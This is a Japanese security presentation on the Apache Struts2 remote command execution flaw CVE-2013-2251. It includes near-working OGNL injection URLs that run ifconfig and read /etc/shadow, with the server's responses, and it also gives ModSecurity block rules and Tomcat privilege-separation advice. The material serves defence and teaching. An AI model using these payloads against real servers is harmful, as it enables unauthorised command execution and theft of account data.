cve 2013-2251
DESCRIPTION
TRANSCRIPT
CVE-2013-2251ー struts と愉快な脆弱性達 続編 ー
※本稿の内容を管理下ではない環境に対して 実施しないでください。
自己紹介
Twitter: abend
Web セキュリティをメインでやってます。
CVE-2013-22512013 年 7 月 16 日に公開された Apache Struts2系に存在するリモートの攻撃者により OS コマンドが実行可能な脆弱性。 2.3.15.1 で改修されています。
Apache Software Foundationhttp://struts.apache.org/release/2.3.x/docs/s2-016.html
LAChttp://www.lac.co.jp/security/alert/2013/07/18_alert_01.html
本脆弱性を悪用する攻撃が増えているそうです。
なんでこうなる?DefaultActionMapper が根本原因。 これはボタンなどに付加する文字列(以下)から実行される動作を定義していたが、入力値のチェックがなく、そのまま実行されていたため、想定動作以外も実行可能。
< 2.3.15 まで定義されていた文字列>・ method:・ action:・ redirect:・ redirectAction:
今回の犯罪者
→ 無罪
なんでこうなる?2.3.15 と 2.3.15.1 のソースを diff ってみたら、こんな結果
「 action: 」は、正規表現で [a-zA-Z0-9._!/\\-]* 以外の文字は除去されるように修正されたようです。
「 redirect: 」や「 redirectAction: 」は、 DefaultActionMapper から削除されています。極刑に処されたようです。無罪なので「 method: 」は変更ないようです。
どうやる?Apache Software Foundation から PoC(Proof of Concept) が公開されています。
http://struts.apache.org/release/2.3.x/docs/s2-016.html
発見者は、三井物産セキュアディレクションのTakeshi Terada さんだそうです。
どうやる?2公開された PoC は以下となっています。環境にあわせて URL を一部変更しています。① http://host/example/HelloWorld.action?action:%25{3*4}
⑤ http://host/example/HelloWorld.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘ifconfig'})).start()}
→ 12.jsp へアクセスを試みる。そんなファイル存在しないので 404 エラー。② http://host/example/HelloWorld.action?redirect:%25{3*4}
③ http://host/example/HelloWorld.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘ifconfig'})).start()}④ http://host/example/HelloWorld.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘ifconfig'})).start()}
→リダイレクトされ、 /example/12 へアクセスを試みるが、そんなファイル存在 しないので 404 エラー。
→ [email protected] へアクセスを試みるが、そんなファイル存在 しないので 404 エラー。
どうやる?2
http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[] {'ifconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.Input-StreamReader (#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()}
「なんだ、うまくいかないじゃん」という結論は時期尚早です。
※GETパラメータの値はコピペしても動作しないように、 内容の理解に問題のない個所を 2byte変更しています。
以下、 GET でアクセス
HTTP/1.1 200 OKServer: Apache-Coyote/1.1Transfer-Encoding: chunkedDate: Wed, 24 Jul 2013 22:35:12 GMT
c351eth0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx inet addr:xxx.xxx.xxx.xxx Bcast:xxx.xxx.xxx.xxx Mask:255.255.255.0
レスポンス(抜粋)
↓NIC情報が出力された。
さっきのなんだったの?PoC の③、④、⑤は実行させる Java が不完全だった。動作させるために複数のコードを追加されています。「 , 」(カンマ)で複数のコードを追加可能。
### Used by the DefaultActionMapper### You may provide a comma separated list, e.g. struts.action.extension=action,jnlp,do### The blank extension allows you to match directory listings as well as pure action names### without interfering with static resources, which can be specified as an empty string### prior to a comma e.g. struts.action.extension=, or struts.action.extension=x,y,z,,
「 , 」(カンマ)で複数のコードが認識され、実行に至ったのではないかと推測されます。
色々と調べてみたら、 default.properties に以下のような記述がありました。
さっきのなんだったの?201 http://host//example/HelloWorld.action?redirect:${02 #a=(new java.lang.ProcessBuilder(new java.lang.String[] {'ifconfig'})).start()03 ,#b=#a.getInputStream()04 ,#c=new java.io.InputStreamReader (#b)05 ,#d=new java.io.BufferedReader(#c)06 ,#e=new char[50000]07 ,#d.read()08 ,#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')09 ,#f.getWriter().println (#e)10 ,#f.getWriter().flush()11 ,#f.getWriter().close()12 }
※GETのパラメータ値はコピペしても動作しないように、 内容の理解に問題のない個所を 2byte変更しています。※見やすくするため、改行を入れてます。
02 で実行させたいコマンドを指定し、それ以降でコマンドの実行結果が出力されます。
ココ
じゃあ、どうする?
対策は、最新バージョンである2.3.15.1 ( 2013 年 7 月 26 日時点)に更新する。
ぐだぐだ言ってないで、最新バージョン更新しろ。
そもそも、なんでできない?
なんでできない?
tomcat
/shopping商品購入機能Struts 2.1.8.1
例でショッピングサイトのツギハギ更新を考えてみる。
/mypageマイページ機能Struts 2.2.1.1
機能追加
機能追加/askme問い合わせ機能Struts 2.3.14.3
/manager管理用機能Struts 2.3.15
機能追加
常に struts の更新を行わないと、機能単位で異なるバージョン状況を生んでしまう。
なんでできない?21つの tomcat で複数のバージョンの struts を実装可能。
機能を追加するたびに、最新バージョンで作っていたら、機能ごとで異なるバージョンになってしまう。
バージョン管理なんてやりたくない。
どの機能で更新による不整合が発生するか把握しづらくなり、更新なんて余計やりたくない。
※あくまで仮説です。
なんとか、なんないの?どうすることもできないのか?
WAF る
WAF ら(ない)WAF り(ます)
WAF る(こと)WAF れ(ば)
アップデートできないなら、WAFれ!!
前回同様・・・
なんとか、なんないの?2
WAF でリクエストに「 action: 」、「 redirect: 」、「 redirectAction: 」が含まれていたらブロックする。
「 Action: 」、「 aCtion: 」や「 RedirectAction: 」などを試してみたが、脆弱性が発現されなかったので上記のパターンでいいのではないか。
じゃあ、どうブロックする?
SecRule ARGS_NAMES "action:" "phase:2,t:none,auditlog,deny,id:'999998'“SecRule ARGS_NAMES "redirect:" "phase:2,t:none,auditlog,deny,id:'999997'"SecRule ARGS_NAMES "redirectAction:" "phase:2,t:none,auditlog,deny,id:'999996'"
なんとか、なんないの?2
GET や POST でもブロックできていたので、効果はありそうです。
http://host/file.action?a=a&action: ・・・というように適当なパラメータを挿入されたり、 POST の場合、マッチしないので。
ちなみに、 REQUEST_URI で「 \?action: 」をブロックというのはダメです。
なんとか、なんないの?3
パラメータ名に「 action: 」、「 redirect: 」、「 redirectAction: 」が使われる可能性は低いと思うので、それなりにイケてるのでは。
ただ、保証するものではないので自己責任でやってください。
ほかにも1
NTT データ先端技術から検証結果とともに、対策案で「管理者権限での動作」に関して言及されている。http://security.intellilink.co.jp/article/vulner/130723.html
That’s right!!
Struts だけでなく、 Tomcat に脆弱性が存在していた場合、影響度は高くなるので、権限は分離すべき。(そもそも)
ほかにも2
どうやって権限を分離するのか。・ tomcatユーザ作って・ CATALINA_HOME の権限を tomcatユーザにして・ tomcatユーザとして Tomcat を起動する。
これだけにも関わらず、やっていない環境が数多く存在します。
ほかにも3①権限分離なしの場合
http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[] {’cat’,’/etc/shadow’})).start(),#b=#a.getInputStream(),#c=new ja-va.io.InputStreamReader (#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()}
HTTP/1.1 200 OKServer: Apache-Coyote/1.1Date: Sat, 27 Jul 2013 05:16:54 GMTContent-Length: 50001
root:*******************.:xxx:0:99999:7:::bin:*:xxx:0:99999:7:::daemon:*:xxx:99999:7:::
/etc/shadow を出力するようにすると・・・
モザイクなしの 18禁ばりに見えてる。
レスポンス(抜粋)
※GETパラメータの値はコピペしても動作しないように、 内容の理解に問題のない個所を 2byte変更しています。
ほかにも4②権限分離ありの場合
http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.Process-Builder(new java.lang.String[] {’cat’,’/etc/shadow’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStream-Reader (#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()}
HTTP/1.1 200 OKServer: Apache-Coyote/1.1Date: Sat, 27 Jul 2013 05:31:40 GMTContent-Length: 50001
同様に /etc/shadow を出力するようにすると・・・
アカウント情報が出力されなくなった。
レスポンス(抜粋)
※GETパラメータの値はコピペしても動作しないように、 内容の理解に問題のない個所を 2byte変更しています。
ほかにも5
権限の分離で「 /etc/shadow 」の閲覧は、できなくなったが、 tomcatユーザ権限の範囲での悪用は可能。「 ifconfig 」は権限分離後も悪用可能。
権限分離も影響度を少なくするための軽減措置でしかなく、この脆弱性の解決策ではありません。
結論(まとめ1)
Struts の脆弱性って激しいよね。WAF とか権限分離しても根本解決じゃないよね。
アップデート以外、根本解決ってないの?
結論(まとめ2)
いや、実はあるんです。
Struts を使うな。